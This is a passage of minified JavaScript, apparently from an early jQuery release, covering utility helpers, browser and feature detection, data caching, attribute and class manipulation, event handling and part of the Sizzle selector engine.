a[0];e<i&&b.call(d,e,d)!==false;d=a[++e]);return a},trim:function(a){return(a||"").replace(Sa,"")},makeArray:function(a,b){b=b||[];if(a!=null)a.length==null||typeof a==="string"||c.isFunction(a)||typeof a!=="function"&&a.setInterval?ba.call(b,a):c.merge(b,a);return b},inArray:function(a,b){if(b.indexOf)return b.indexOf(a);for(var d=0,f=b.length;d<f;d++)if(b[d]===a)return d;return-1},merge:function(a,b){var d=a.length,f=0;if(typeof b.length==="number")for(var e=b.length;f<e;f++)a[d++]=b[f];else for(;b[f]!==
|
||||
v;)a[d++]=b[f++];a.length=d;return a},grep:function(a,b,d){for(var f=[],e=0,i=a.length;e<i;e++)!d!==!b(a[e],e)&&f.push(a[e]);return f},map:function(a,b,d){for(var f=[],e,i=0,j=a.length;i<j;i++){e=b(a[i],i,d);if(e!=null)f[f.length]=e}return f.concat.apply([],f)},guid:1,proxy:function(a,b,d){if(arguments.length===2)if(typeof b==="string"){d=a;a=d[b];b=v}else if(b&&!c.isFunction(b)){d=b;b=v}if(!b&&a)b=function(){return a.apply(d||this,arguments)};if(a)b.guid=a.guid=a.guid||b.guid||c.guid++;return b},
|
||||
uaMatch:function(a){a=a.toLowerCase();a=/(webkit)[ \/]([\w.]+)/.exec(a)||/(opera)(?:.*version)?[ \/]([\w.]+)/.exec(a)||/(msie) ([\w.]+)/.exec(a)||!/compatible/.test(a)&&/(mozilla)(?:.*? rv:([\w.]+))?/.exec(a)||[];return{browser:a[1]||"",version:a[2]||"0"}},browser:{}});O=c.uaMatch(O);if(O.browser){c.browser[O.browser]=true;c.browser.version=O.version}if(c.browser.webkit)c.browser.safari=true;if(wa)c.inArray=function(a,b){return wa.call(b,a)};S=c(r);if(r.addEventListener)L=function(){r.removeEventListener("DOMContentLoaded",
|
||||
L,false);c.ready()};else if(r.attachEvent)L=function(){if(r.readyState==="complete"){r.detachEvent("onreadystatechange",L);c.ready()}};(function(){c.support={};var a=r.documentElement,b=r.createElement("script"),d=r.createElement("div"),f="script"+J();d.style.display="none";d.innerHTML=" <link/><table></table><a href='/a' style='color:red;float:left;opacity:.55;'>a</a><input type='checkbox'/>";var e=d.getElementsByTagName("*"),i=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!i)){c.support=
|
||||
{leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(i.getAttribute("style")),hrefNormalized:i.getAttribute("href")==="/a",opacity:/^0.55$/.test(i.style.opacity),cssFloat:!!i.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:r.createElement("select").appendChild(r.createElement("option")).selected,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null};
|
||||
b.type="text/javascript";try{b.appendChild(r.createTextNode("window."+f+"=1;"))}catch(j){}a.insertBefore(b,a.firstChild);if(z[f]){c.support.scriptEval=true;delete z[f]}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function n(){c.support.noCloneEvent=false;d.detachEvent("onclick",n)});d.cloneNode(true).fireEvent("onclick")}d=r.createElement("div");d.innerHTML="<input type='radio' name='radiotest' checked='checked'/>";a=r.createDocumentFragment();a.appendChild(d.firstChild);
|
||||
c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var n=r.createElement("div");n.style.width=n.style.paddingLeft="1px";r.body.appendChild(n);c.boxModel=c.support.boxModel=n.offsetWidth===2;r.body.removeChild(n).style.display="none"});a=function(n){var o=r.createElement("div");n="on"+n;var m=n in o;if(!m){o.setAttribute(n,"return;");m=typeof o[n]==="function"}return m};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=i=null}})();c.props=
|
||||
{"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ua=0,xa={},Va={};c.extend({cache:{},expando:G,noData:{embed:true,object:true,applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var f=a[G],e=c.cache;if(!b&&!f)return null;f||(f=++Ua);if(typeof b==="object"){a[G]=f;e=e[f]=c.extend(true,
|
||||
{},b)}else e=e[f]?e[f]:typeof d==="undefined"?Va:(e[f]={});if(d!==v){a[G]=f;e[b]=d}return typeof b==="string"?e[b]:e}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{try{delete a[G]}catch(i){a.removeAttribute&&a.removeAttribute(G)}delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this,
|
||||
a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===v){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===v&&this.length)f=c.data(this[0],a);return f===v&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this,a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d);
|
||||
return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b===v)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||
|
||||
a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var ya=/[\n\t]/g,ca=/\s+/,Wa=/\r/g,Xa=/href|src|style/,Ya=/(button|input)/i,Za=/(button|input|object|select|textarea)/i,$a=/^(a|area)$/i,za=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(o){var m=
|
||||
c(this);m.addClass(a.call(this,o,m.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1)if(e.className)for(var i=" "+e.className+" ",j=0,n=b.length;j<n;j++){if(i.indexOf(" "+b[j]+" ")<0)e.className+=" "+b[j]}else e.className=a}return this},removeClass:function(a){if(c.isFunction(a))return this.each(function(o){var m=c(this);m.removeClass(a.call(this,o,m.attr("class")))});if(a&&typeof a==="string"||a===v)for(var b=(a||"").split(ca),
|
||||
d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1&&e.className)if(a){for(var i=(" "+e.className+" ").replace(ya," "),j=0,n=b.length;j<n;j++)i=i.replace(" "+b[j]+" "," ");e.className=i.substring(1,i.length-1)}else e.className=""}return this},toggleClass:function(a,b){var d=typeof a,f=typeof b==="boolean";if(c.isFunction(a))return this.each(function(e){var i=c(this);i.toggleClass(a.call(this,e,i.attr("class"),b),b)});return this.each(function(){if(d==="string")for(var e,i=0,j=c(this),n=b,o=
|
||||
a.split(ca);e=o[i++];){n=f?n:!j.hasClass(e);j[n?"addClass":"removeClass"](e)}else if(d==="undefined"||d==="boolean"){this.className&&c.data(this,"__className__",this.className);this.className=this.className||a===false?"":c.data(this,"__className__")||""}})},hasClass:function(a){a=" "+a+" ";for(var b=0,d=this.length;b<d;b++)if((" "+this[b].className+" ").replace(ya," ").indexOf(a)>-1)return true;return false},val:function(a){if(a===v){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value||
|
||||
{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var i=b?d:0;for(d=b?d+1:e.length;i<d;i++){var j=e[i];if(j.selected){a=c(j).val();if(b)return a;f.push(a)}}return f}if(za.test(b.type)&&!c.support.checkOn)return b.getAttribute("value")===null?"on":b.value;return(b.value||"").replace(Wa,"")}return v}var n=c.isFunction(a);return this.each(function(o){var m=c(this),s=a;if(this.nodeType===1){if(n)s=a.call(this,o,m.val());
|
||||
if(typeof s==="number")s+="";if(c.isArray(s)&&za.test(this.type))this.checked=c.inArray(m.val(),s)>=0;else if(c.nodeName(this,"select")){var x=c.makeArray(s);c("option",this).each(function(){this.selected=c.inArray(c(this).val(),x)>=0});if(!x.length)this.selectedIndex=-1}else this.value=s}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return v;if(f&&b in c.attrFn)return c(a)[b](d);
|
||||
f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==v;b=f&&c.props[b]||b;if(a.nodeType===1){var i=Xa.test(b);if(b in a&&f&&!i){if(e){b==="type"&&Ya.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed");a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:Za.test(a.nodeName)||$a.test(a.nodeName)&&a.href?0:v;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText=
|
||||
""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&i?a.getAttribute(b,2):a.getAttribute(b);return a===null?v:a}return c.style(a,b,d)}});var ab=function(a){return a.replace(/[^\w\s\.\|`]/g,function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==z&&!a.frameElement)a=z;if(!d.guid)d.guid=c.guid++;if(f!==v){d=c.proxy(d);d.data=f}var e=c.data(a,"events")||c.data(a,"events",{}),i=c.data(a,"handle"),j;if(!i){j=
|
||||
function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(j.elem,arguments):v};i=c.data(a,"handle",j)}if(i){i.elem=a;b=b.split(/\s+/);for(var n,o=0;n=b[o++];){var m=n.split(".");n=m.shift();if(o>1){d=c.proxy(d);if(f!==v)d.data=f}d.type=m.slice(0).sort().join(".");var s=e[n],x=this.special[n]||{};if(!s){s=e[n]={};if(!x.setup||x.setup.call(a,f,m,d)===false)if(a.addEventListener)a.addEventListener(n,i,false);else a.attachEvent&&a.attachEvent("on"+n,i)}if(x.add)if((m=x.add.call(a,
|
||||
d,f,m,s))&&c.isFunction(m)){m.guid=m.guid||d.guid;m.data=m.data||d.data;m.type=m.type||d.type;d=m}s[d.guid]=d;this.global[n]=true}a=null}}},global:{},remove:function(a,b,d){if(!(a.nodeType===3||a.nodeType===8)){var f=c.data(a,"events"),e,i,j;if(f){if(b===v||typeof b==="string"&&b.charAt(0)===".")for(i in f)this.remove(a,i+(b||""));else{if(b.type){d=b.handler;b=b.type}b=b.split(/\s+/);for(var n=0;i=b[n++];){var o=i.split(".");i=o.shift();var m=!o.length,s=c.map(o.slice(0).sort(),ab);s=new RegExp("(^|\\.)"+
|
||||
s.join("\\.(?:.*\\.)?")+"(\\.|$)");var x=this.special[i]||{};if(f[i]){if(d){j=f[i][d.guid];delete f[i][d.guid]}else for(var A in f[i])if(m||s.test(f[i][A].type))delete f[i][A];x.remove&&x.remove.call(a,o,j);for(e in f[i])break;if(!e){if(!x.teardown||x.teardown.call(a,o)===false)if(a.removeEventListener)a.removeEventListener(i,c.data(a,"handle"),false);else a.detachEvent&&a.detachEvent("on"+i,c.data(a,"handle"));e=null;delete f[i]}}}}for(e in f)break;if(!e){if(A=c.data(a,"handle"))A.elem=null;c.removeData(a,
|
||||
"events");c.removeData(a,"handle")}}}},trigger:function(a,b,d,f){var e=a.type||a;if(!f){a=typeof a==="object"?a[G]?a:c.extend(c.Event(e),a):c.Event(e);if(e.indexOf("!")>=0){a.type=e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();this.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return v;a.result=v;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d,
|
||||
b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(i){}if(!a.isPropagationStopped()&&f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){d=a.target;var j;if(!(c.nodeName(d,"a")&&e==="click")&&!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()])){try{if(d[e]){if(j=d["on"+e])d["on"+e]=null;this.triggered=true;d[e]()}}catch(n){}if(j)d["on"+e]=j;this.triggered=false}}},handle:function(a){var b,
|
||||
d;a=arguments[0]=c.event.fix(a||z.event);a.currentTarget=this;d=a.type.split(".");a.type=d.shift();b=!d.length&&!a.exclusive;var f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)");d=(c.data(this,"events")||{})[a.type];for(var e in d){var i=d[e];if(b||f.test(i.type)){a.handler=i;a.data=i.data;i=i.apply(this,arguments);if(i!==v){a.result=i;if(i===false){a.preventDefault();a.stopPropagation()}}if(a.isImmediatePropagationStopped())break}}return a.result},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),
|
||||
fix:function(a){if(a[G])return a;var b=a;a=c.Event(b);for(var d=this.props.length,f;d;){f=this.props[--d];a[f]=b[f]}if(!a.target)a.target=a.srcElement||r;if(a.target.nodeType===3)a.target=a.target.parentNode;if(!a.relatedTarget&&a.fromElement)a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement;if(a.pageX==null&&a.clientX!=null){b=r.documentElement;d=r.body;a.pageX=a.clientX+(b&&b.scrollLeft||d&&d.scrollLeft||0)-(b&&b.clientLeft||d&&d.clientLeft||0);a.pageY=a.clientY+(b&&b.scrollTop||
|
||||
d&&d.scrollTop||0)-(b&&b.clientTop||d&&d.clientTop||0)}if(!a.which&&(a.charCode||a.charCode===0?a.charCode:a.keyCode))a.which=a.charCode||a.keyCode;if(!a.metaKey&&a.ctrlKey)a.metaKey=a.ctrlKey;if(!a.which&&a.button!==v)a.which=a.button&1?1:a.button&2?3:a.button&4?2:0;return a},guid:1E8,proxy:c.proxy,special:{ready:{setup:c.bindReady,teardown:c.noop},live:{add:function(a,b){c.extend(a,b||{});a.guid+=b.selector+b.live;b.liveProxy=a;c.event.add(this,b.live,na,b)},remove:function(a){if(a.length){var b=
|
||||
0,d=new RegExp("(^|\\.)"+a[0]+"(\\.|$)");c.each(c.data(this,"events").live||{},function(){d.test(this.type)&&b++});b<1&&c.event.remove(this,a[0],na)}},special:{}},beforeunload:{setup:function(a,b,d){if(this.setInterval)this.onbeforeunload=d;return false},teardown:function(a,b){if(this.onbeforeunload===b)this.onbeforeunload=null}}}};c.Event=function(a){if(!this.preventDefault)return new c.Event(a);if(a&&a.type){this.originalEvent=a;this.type=a.type}else this.type=a;this.timeStamp=J();this[G]=true};
|
||||
c.Event.prototype={preventDefault:function(){this.isDefaultPrevented=Z;var a=this.originalEvent;if(a){a.preventDefault&&a.preventDefault();a.returnValue=false}},stopPropagation:function(){this.isPropagationStopped=Z;var a=this.originalEvent;if(a){a.stopPropagation&&a.stopPropagation();a.cancelBubble=true}},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=Z;this.stopPropagation()},isDefaultPrevented:Y,isPropagationStopped:Y,isImmediatePropagationStopped:Y};var Aa=function(a){for(var b=
|
||||
a.relatedTarget;b&&b!==this;)try{b=b.parentNode}catch(d){break}if(b!==this){a.type=a.data;c.event.handle.apply(this,arguments)}},Ba=function(a){a.type=a.data;c.event.handle.apply(this,arguments)};c.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){c.event.special[a]={setup:function(d){c.event.add(this,b,d&&d.selector?Ba:Aa,a)},teardown:function(d){c.event.remove(this,b,d&&d.selector?Ba:Aa)}}});if(!c.support.submitBubbles)c.event.special.submit={setup:function(a,b,d){if(this.nodeName.toLowerCase()!==
|
||||
"form"){c.event.add(this,"click.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="submit"||i==="image")&&c(e).closest("form").length)return ma("submit",this,arguments)});c.event.add(this,"keypress.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="text"||i==="password")&&c(e).closest("form").length&&f.keyCode===13)return ma("submit",this,arguments)})}else return false},remove:function(a,b){c.event.remove(this,"click.specialSubmit"+(b?"."+b.guid:""));c.event.remove(this,
|
||||
"keypress.specialSubmit"+(b?"."+b.guid:""))}};if(!c.support.changeBubbles){var da=/textarea|input|select/i;function Ca(a){var b=a.type,d=a.value;if(b==="radio"||b==="checkbox")d=a.checked;else if(b==="select-multiple")d=a.selectedIndex>-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d}function ea(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Ca(d);if(a.type!=="focusout"||
|
||||
d.type!=="radio")c.data(d,"_change_data",e);if(!(f===v||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}}c.event.special.change={filters:{focusout:ea,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return ea.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return ea.call(this,a)},beforeactivate:function(a){a=
|
||||
a.target;a.nodeName.toLowerCase()==="input"&&a.type==="radio"&&c.data(a,"_change_data",Ca(a))}},setup:function(a,b,d){for(var f in T)c.event.add(this,f+".specialChange."+d.guid,T[f]);return da.test(this.nodeName)},remove:function(a,b){for(var d in T)c.event.remove(this,d+".specialChange"+(b?"."+b.guid:""),T[d]);return da.test(this.nodeName)}};var T=c.event.special.change.filters}r.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,
|
||||
f)}c.event.special[b]={setup:function(){this.addEventListener(a,d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var i in d)this[b](i,f,d[i],e);return this}if(c.isFunction(f)){e=f;f=v}var j=b==="one"?c.proxy(e,function(n){c(this).unbind(n,j);return e.apply(this,arguments)}):e;return d==="unload"&&b!=="one"?this.one(d,f,e):this.each(function(){c.event.add(this,d,j,f)})}});c.fn.extend({unbind:function(a,
|
||||
b){if(typeof a==="object"&&!a.preventDefault){for(var d in a)this.unbind(d,a[d]);return this}return this.each(function(){c.event.remove(this,a,b)})},trigger:function(a,b){return this.each(function(){c.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0]){a=c.Event(a);a.preventDefault();a.stopPropagation();c.event.trigger(a,b,this[0]);return a.result}},toggle:function(a){for(var b=arguments,d=1;d<b.length;)c.proxy(a,b[d++]);return this.click(c.proxy(a,function(f){var e=(c.data(this,"lastToggle"+
|
||||
a.guid)||0)%d;c.data(this,"lastToggle"+a.guid,e+1);f.preventDefault();return b[e].apply(this,arguments)||false}))},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});c.each(["live","die"],function(a,b){c.fn[b]=function(d,f,e){var i,j=0;if(c.isFunction(f)){e=f;f=v}for(d=(d||"").split(/\s+/);(i=d[j++])!=null;){i=i==="focus"?"focusin":i==="blur"?"focusout":i==="hover"?d.push("mouseleave")&&"mouseenter":i;b==="live"?c(this.context).bind(oa(i,this.selector),{data:f,selector:this.selector,
|
||||
live:i},e):c(this.context).unbind(oa(i,this.selector),e?{guid:e.guid+this.selector+i}:null)}return this}});c.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error".split(" "),function(a,b){c.fn[b]=function(d){return d?this.bind(b,d):this.trigger(b)};if(c.attrFn)c.attrFn[b]=true});z.attachEvent&&!z.addEventListener&&z.attachEvent("onunload",function(){for(var a in c.cache)if(c.cache[a].handle)try{c.event.remove(c.cache[a].handle.elem)}catch(b){}});
|
||||
(function(){function a(g){for(var h="",k,l=0;g[l];l++){k=g[l];if(k.nodeType===3||k.nodeType===4)h+=k.nodeValue;else if(k.nodeType!==8)h+=a(k.childNodes)}return h}function b(g,h,k,l,q,p){q=0;for(var u=l.length;q<u;q++){var t=l[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache===k){y=l[t.sizset];break}if(t.nodeType===1&&!p){t.sizcache=k;t.sizset=q}if(t.nodeName.toLowerCase()===h){y=t;break}t=t[g]}l[q]=y}}}function d(g,h,k,l,q,p){q=0;for(var u=l.length;q<u;q++){var t=l[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache===
|
||||
k){y=l[t.sizset];break}if(t.nodeType===1){if(!p){t.sizcache=k;t.sizset=q}if(typeof h!=="string"){if(t===h){y=true;break}}else if(o.filter(h,[t]).length>0){y=t;break}}t=t[g]}l[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,e=0,i=Object.prototype.toString,j=false,n=true;[0,0].sort(function(){n=false;return 0});var o=function(g,h,k,l){k=k||[];var q=h=h||r;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g||
|
||||
typeof g!=="string")return k;for(var p=[],u,t,y,R,H=true,M=w(h),I=g;(f.exec(""),u=f.exec(I))!==null;){I=u[3];p.push(u[1]);if(u[2]){R=u[3];break}}if(p.length>1&&s.exec(g))if(p.length===2&&m.relative[p[0]])t=fa(p[0]+p[1],h);else for(t=m.relative[p[0]]?[h]:o(p.shift(),h);p.length;){g=p.shift();if(m.relative[g])g+=p.shift();t=fa(g,t)}else{if(!l&&p.length>1&&h.nodeType===9&&!M&&m.match.ID.test(p[0])&&!m.match.ID.test(p[p.length-1])){u=o.find(p.shift(),h,M);h=u.expr?o.filter(u.expr,u.set)[0]:u.set[0]}if(h){u=
|
||||
l?{expr:p.pop(),set:A(l)}:o.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=u.expr?o.filter(u.expr,u.set):u.set;if(p.length>0)y=A(t);else H=false;for(;p.length;){var D=p.pop();u=D;if(m.relative[D])u=p.pop();else D="";if(u==null)u=h;m.relative[D](y,u,M)}}else y=[]}y||(y=t);y||o.error(D||g);if(i.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))k.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&&
|
||||
y[g].nodeType===1&&k.push(t[g]);else k.push.apply(k,y);else A(y,k);if(R){o(R,q,k,l);o.uniqueSort(k)}return k};o.uniqueSort=function(g){if(C){j=n;g.sort(C);if(j)for(var h=1;h<g.length;h++)g[h]===g[h-1]&&g.splice(h--,1)}return g};o.matches=function(g,h){return o(g,null,null,h)};o.find=function(g,h,k){var l,q;if(!g)return[];for(var p=0,u=m.order.length;p<u;p++){var t=m.order[p];if(q=m.leftMatch[t].exec(g)){var y=q[1];q.splice(1,1);if(y.substr(y.length-1)!=="\\"){q[1]=(q[1]||"").replace(/\\/g,"");l=m.find[t](q,
|
||||
h,k);if(l!=null){g=g.replace(m.match[t],"");break}}}}l||(l=h.getElementsByTagName("*"));return{set:l,expr:g}};o.filter=function(g,h,k,l){for(var q=g,p=[],u=h,t,y,R=h&&h[0]&&w(h[0]);g&&h.length;){for(var H in m.filter)if((t=m.leftMatch[H].exec(g))!=null&&t[2]){var M=m.filter[H],I,D;D=t[1];y=false;t.splice(1,1);if(D.substr(D.length-1)!=="\\"){if(u===p)p=[];if(m.preFilter[H])if(t=m.preFilter[H](t,u,k,p,l,R)){if(t===true)continue}else y=I=true;if(t)for(var U=0;(D=u[U])!=null;U++)if(D){I=M(D,t,U,u);var Da=
|
||||
l^!!I;if(k&&I!=null)if(Da)y=true;else u[U]=false;else if(Da){p.push(D);y=true}}if(I!==v){k||(u=p);g=g.replace(m.match[H],"");if(!y)return[];break}}}if(g===q)if(y==null)o.error(g);else break;q=g}return u};o.error=function(g){throw"Syntax error, unrecognized expression: "+g;};var m=o.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,
|
||||
TAG:/^((?:[\w\u00c0-\uFFFF\*-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(g){return g.getAttribute("href")}},relative:{"+":function(g,h){var k=typeof h==="string",l=k&&!/\W/.test(h);k=k&&!l;if(l)h=h.toLowerCase();l=0;for(var q=g.length,
|
||||
p;l<q;l++)if(p=g[l]){for(;(p=p.previousSibling)&&p.nodeType!==1;);g[l]=k||p&&p.nodeName.toLowerCase()===h?p||false:p===h}k&&o.filter(h,g,true)},">":function(g,h){var k=typeof h==="string";if(k&&!/\W/.test(h)){h=h.toLowerCase();for(var l=0,q=g.length;l<q;l++){var p=g[l];if(p){k=p.parentNode;g[l]=k.nodeName.toLowerCase()===h?k:false}}}else{l=0;for(q=g.length;l<q;l++)if(p=g[l])g[l]=k?p.parentNode:p.parentNode===h;k&&o.filter(h,g,true)}},"":function(g,h,k){var l=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=
|
||||
h=h.toLowerCase();q=b}q("parentNode",h,l,g,p,k)},"~":function(g,h,k){var l=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=h=h.toLowerCase();q=b}q("previousSibling",h,l,g,p,k)}},find:{ID:function(g,h,k){if(typeof h.getElementById!=="undefined"&&!k)return(g=h.getElementById(g[1]))?[g]:[]},NAME:function(g,h){if(typeof h.getElementsByName!=="undefined"){var k=[];h=h.getElementsByName(g[1]);for(var l=0,q=h.length;l<q;l++)h[l].getAttribute("name")===g[1]&&k.push(h[l]);return k.length===0?null:k}},
|
||||
TAG:function(g,h){return h.getElementsByTagName(g[1])}},preFilter:{CLASS:function(g,h,k,l,q,p){g=" "+g[1].replace(/\\/g,"")+" ";if(p)return g;p=0;for(var u;(u=h[p])!=null;p++)if(u)if(q^(u.className&&(" "+u.className+" ").replace(/[\t\n]/g," ").indexOf(g)>=0))k||l.push(u);else if(k)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()},CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&&
|
||||
"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,k,l,q,p){h=g[1].replace(/\\/g,"");if(!p&&m.attrMap[h])g[1]=m.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,k,l,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=o(g[3],null,null,h);else{g=o.filter(g[3],h,k,true^q);k||l.push.apply(l,g);return false}else if(m.match.POS.test(g[0])||m.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);
|
||||
return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,k){return!!o(k[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)},text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"===
|
||||
